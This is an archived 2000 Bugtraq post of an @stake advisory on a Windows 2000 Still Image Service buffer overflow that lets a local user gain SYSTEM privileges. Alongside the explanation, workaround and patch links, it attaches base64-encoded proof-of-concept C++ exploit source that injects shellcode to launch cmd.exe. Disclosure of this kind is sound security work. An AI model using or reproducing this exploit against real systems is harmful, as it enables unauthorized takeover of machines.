From advisories@ATSTAKE.COM Thu Sep 7 15:42:11 2000 From: "@stake Advisories" To: BUGTRAQ@SECURITYFOCUS.COM Date: Thu, 7 Sep 2000 09:48:15 -0400 Subject: [BUGTRAQ] @stake Advisory: Windows Still Image Privilege Elevation (A090700 -1) [The following text is in the "iso-8859-1" character set] [Your display is set for the "US-ASCII" character set] [Some characters may be displayed incorrectly] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 @stake Inc. www.atstake.com Security Advisory Advisory Name: Windows Still Image Privilege Elevation (A090700-1) Release Date: 09/07/2000 Application: Still Image Service Platform: Windows 2000 Severity: A local user can elevate privileges to SYSTEM. Author: DilDog [dildog@atstake.com] Vendor Status: Patch Available Web: www.atstake.com/research/advisories/2000/a090700-1.txt Executive Summary: The Still Image Service contains programming errors that uncover a class of attacks on services. This vulnerability allows unauthorized local privilege elevation. Overview: The Still Image Service that comes with Windows 2000 is vulnerable to a particular class of attack that stems from the Windows GDI's poor notion of GDI object permissions. In this particular instance, a service creates a window on the logged-on user's desktop that responds to a number of WM_USER messages via PostMessage(). The window procedure resides in the service process, and can hence be controlled to some extent by the logged-on user. There exists a buffer overflow condition in one of the WM_USER messages. Detailed Description: Way back when, the GDI in Windows NT 3.5 was not yet placed in the kernel, and no one worried about permissions on GDI objects. When the GDI was moved into the kernel, a number of system objects were created to support permissions on GDI objects, such as window stations and desktops. One particular case where better permissions on GDI objects could be used is on windows. The window object supports several operations, notably 'PostMessage', 'SendMessage', and others. GDI window handles are not process specific, and they can easily be obtained for any window created on the logged-on user's desktop via 'FindWindow'. Once a handle to a window is obtained, two operations are of interest. 'SendMessage' calls the window procedure associated with the window directly (in most cases note: that WM_COPYDATA is an exception to this), and hence it can only be called by processes that actually have the window procedure mapped in their process space. The 'PostMessage' function pushes the message into the window procedure's message queue for processing at a later point. This allows cross-process communication with window messages. Even to processes of higher privilege level. Because no distinction is made between which messages can 'posted' versus which can be 'sent', for windows messages above 'WM_USER', one can never define a windows message that contains a pointer, regardless of how it is intended to be handled. This vulnerability exists in the Windows Still Image Service, but the problem is more universal, and may affect any or all other services that create windows on the logged-on user's desktop (visible, or invisible). The proof-of-concept code below demonstrates the vulnerability. Temporary Solution: Disable the Still Image Service entirely. Normally, the Still Image Service is not running, but if one runs 'stimon.exe' as an administrator, or attempts to install or access a local or network scanner, digital camera, or other still image device, the service will install itself in 'Automatic' mode and be present every time the system boots thereafter. Vendor Response: Microsoft has developed a patch to solve this problem: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=24200> They have issued a security bulletin describing the issue: http://www.microsoft.com/technet/security/bulletin/MS00-065.asp Proof-of-Concept Code: - --===================== Content-Description: STISVC Proof Of Concept Code Content-Disposition: attachment; filename="ownsti.cpp" Content-Transfer-Encoding: BASE64 Content-Type: text/plain I2luY2x1ZGU8d2luZG93cy5oPg0KDQojZGVmaW5lIEVYUFNJWkUgKDUyMCsxMDI0KQ0KLy8j ZGVmaW5lIFNUQUNLVE9QICgweDAwNzBGRjU4KQkvLyBmb3IgU3RpU3ZjIHZlcnNpb24gNS4w LjIxMzQuMSBpbiBXaW4ySw0KLy8jZGVmaW5lIEJVRkZFUkxPQyAoMHgwMDcwRkNCMCkNCiNk ZWZpbmUgU1RBQ0tUT1AgKDB4MDA3MUZGNTgpCS8vIGZvciBTdGlTdmMgdmVyc2lvbiA1LjAu MjEzNC4xIGluIFdpbjJLIFNQMQ0KI2RlZmluZSBCVUZGRVJMT0MgKDB4MDA3MUZDQjApDQoN CmludCBXSU5BUEkgV2luTWFpbihISU5TVEFOQ0UgaEluc3QsIEhJTlNUQU5DRSBoUHJldiwg TFBTVFIgbHBDbWRMaW5lLCBpbnQgblNob3cpDQp7DQoJY2hhciBmdW5reVtFWFBTSVpFXTsN CgltZW1zZXQoZnVua3ksMHg5MCxFWFBTSVpFKTsNCglmdW5reVtFWFBTSVpFLTJdPShjaGFy KTA7DQoJZnVua3lbRVhQU0laRS0xXT0oY2hhcikwOw0KDQoJLy8gV3JpdGUgY29kZQ0KDQoJ SE1PRFVMRSBoS2VybmVsPUdldE1vZHVsZUhhbmRsZSgia2VybmVsMzIuZGxsIik7DQoNCi8v CWZ1bmt5WzB4MF09KGNoYXIpMHhDQzsNCg0KCWZ1bmt5WzB4NF09KGNoYXIpMHg4MTsNCglm dW5reVsweDVdPShjaGFyKTB4QzQ7DQoJZnVua3lbMHg2XT0oY2hhcikweDA0Ow0KCWZ1bmt5 WzB4N109KGNoYXIpMHhGQzsNCglmdW5reVsweDhdPShjaGFyKTB4RkY7DQoJZnVua3lbMHg5 XT0oY2hhcikweEZGOw0KDQoJZnVua3lbMHgxMF09KGNoYXIpMHhCODsNCgkqKERXT1JEICop KCYoZnVua3lbMHgxMV0pKT1+KERXT1JEKUdldFByb2NBZGRyZXNzKGhLZXJuZWwsIldpbkV4 ZWMiKTsNCgkNCglmdW5reVsweDE1XT0oY2hhcikweEY3Ow0KIAlmdW5reVsweDE2XT0oY2hh cikweEQwOw0KDQoJZnVua3lbMHgxN109KGNoYXIpMHg2QTsNCglmdW5reVsweDE4XT0oY2hh cikweDAzOw0KCQ0KCWZ1bmt5WzB4MTldPShjaGFyKTB4QkI7DQoJKihEV09SRCAqKSgmKGZ1 bmt5WzB4MUFdKSk9fihEV09SRCkoQlVGRkVSTE9DKzB4MzApOw0KCQ0KCWZ1bmt5WzB4MUVd PShjaGFyKTB4Rjc7DQoJZnVua3lbMHgxRl09KGNoYXIpMHhEMzsNCg0KCWZ1bmt5WzB4MjBd PShjaGFyKTB4NTM7DQoNCglmdW5reVsweDIxXT0oY2hhcikweEZGOw0KCWZ1bmt5WzB4MjJd PShjaGFyKTB4RDA7DQoJDQoJZnVua3lbMHgyM109KGNoYXIpMHhCODsNCgkqKERXT1JEICop KCYoZnVua3lbMHgyNF0pKT1+KERXT1JEKUdldFByb2NBZGRyZXNzKGhLZXJuZWwsIkV4aXRQ cm9jZXNzIik7DQoNCglmdW5reVsweDI4XT0oY2hhcikweEY3Ow0KCWZ1bmt5WzB4MjldPShj aGFyKTB4RDA7DQoNCglmdW5reVsweDJBXT0oY2hhcikweEZGOw0KCWZ1bmt5WzB4MkJdPShj aGFyKTB4RDA7DQoNCglmdW5reVsweDJDXT0oY2hhcikweENDOw0KCWZ1bmt5WzB4MkRdPShj aGFyKTB4Q0M7DQoJZnVua3lbMHgyRV09KGNoYXIpMHhDQzsNCglmdW5reVsweDJGXT0oY2hh cikweENDOw0KDQoJLy8gU2V0IHN0cmluZyB0byBleGVjdXRlDQoJbWVtY3B5KCYoZnVua3lb MHgzMF0pLCJjbWQuZXhlICIsOCk7DQogDQoJLy8gU2V0IHJldHVybiBhZGRyDQoJKihEV09S RCAqKSgmKGZ1bmt5WzB4MjA4XSkpPUJVRkZFUkxPQzsNCg0KCS8vIEdldCBOZXREREUgV2lu ZG93DQoJSFdORCBod25kPUZpbmRXaW5kb3coIlNUSUV4ZV9XaW5kb3dfQ2xhc3MiLCJTVEkg TW9uaXRvciIpOw0KDQoJLy8gQ29weSBleHBsb2l0IGNvZGUNCglDT1BZREFUQVNUUlVDVCBj ZHM7DQoJY2RzLmNiRGF0YT1zaXplb2YoZnVua3kpOw0KCWNkcy5kd0RhdGE9MDsNCgljZHMu bHBEYXRhPShQVk9JRClmdW5reTsNCg0KCVNlbmRNZXNzYWdlKGh3bmQsV01fQ09QWURBVEEs KFdQQVJBTSlod25kLChMUEFSQU0pJmNkcyk7DQoNCglQb3N0TWVzc2FnZShod25kLDB4NENE LDAsKExQQVJBTSkoU1RBQ0tUT1AtRVhQU0laRSkpOw0KDQoJcmV0dXJuIDA7DQp9 - --=====================-- For more advisories: http://www.atstake.com/research/index.html PGP Key: http://www.atstake.com/research/pgp_key.asc Copyright 2000 @stake, Inc. All rights reserved. -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBObeanVESXwDtLdMhEQJqggCg0Bv6rSW8ng0aWnVjjOJoZ7TSYuQAoPIh VEL25FlvPGoBQ8aMqVWYgo/8 =/Uc5 -----END PGP SIGNATURE-----